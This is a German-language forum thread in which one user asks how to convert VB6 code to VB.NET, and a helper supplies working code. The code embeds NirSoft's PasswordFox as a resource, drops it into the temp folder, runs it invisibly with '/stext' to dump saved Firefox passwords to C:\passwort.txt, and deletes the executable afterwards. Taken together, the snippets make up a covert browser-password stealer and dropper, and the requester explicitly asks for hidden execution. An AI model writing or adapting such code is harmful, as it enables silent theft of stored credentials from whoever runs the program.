vb 6 code aktualiesieren

[sunny-boy3]

Hallo ich habe ein Problem vllt kann mir jemand helfen ich habe vb.net und möchte ein paar nirsoft resourcen einbinden nur weiß ich nicht wie das bei .net geht und mit den coden hatte mal nen code für vb6

da ging es ja in detwa so:


Dim Bla As Byte

Bla = LoadResData (101, "CUSTOM")

open ("C:\passwortFox.exe" for Binary As #1

Put #1, , Bla()
Close #1

Shell "C:\passwortFox /stext" & "C:\passwort.txt"
Kill "C:\passwortFox.exe"
Erase Bla



Vorher mußte man da unter resource editor die exe hinzufügen aber wie geht das jetzt unter vb.net ?

habe dort auch kein resource editor gefunden und die definition bekomkme ich auch nicht hin

[Sawyer]

Ganz einfach:


Dim bw As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe", IO.FileMode.Create))
bw.Write(My.Resources.passwortFox)
bw.Close()

Process.Start(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")
Vorher mußte man da unter resource editor die exe hinzufügen aber wie geht das jetzt unter vb.net ?Einfach unter den Projekteigentschaften / Ressourcen

MfG

[sunny-boy3]

Ganz einfach:


Dim bw As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe", IO.FileMode.Create))
bw.Write(My.Resources.passwortFox)
bw.Close()

Process.Start(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")Einfach unter den Projekteigentschaften / Ressourcen

MfG
Funktioniert soweit ganbz gut nur will ich die resource invisible und die daten in txt speichern
wäre nett wen das iwie möglich wäre
also invislbe öffnen und den inhalt in txt in eine pfad speichern

Ps: Danke für deine hilfe!

[Sawyer]

Dim bw As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe", IO.FileMode.Create))
bw.Write(My.Resources.PasswordFox)
bw.Close()

Dim si As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\passwortFox.exe")
si.Arguments = "/stext C:\passwort.txt"

Process.Start(si)


While True
If Process.GetProcessesByName(("passwortFox")).Length < 1 Then
IO.File.Delete(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")
Exit While
End If
End WhileSo das sollte es sein was du dir vorgestellt hast ;)

MfG

[sunny-boy3]

Dim bw As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe", IO.FileMode.Create))
bw.Write(My.Resources.PasswordFox)
bw.Close()

Dim si As New ProcessStartInfo(Environment.GetEnvironmentVariabl e("tmp") & "\passwortFox.exe")
si.Arguments = "/stext C:\passwort.txt"

Process.Start(si)
IO.File.Delete(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")So das sollte es sein was du dir vorgestellt hast ;)

MfG
Hey genau das habe ich gesucht vielen dank für deine freundliche hilfe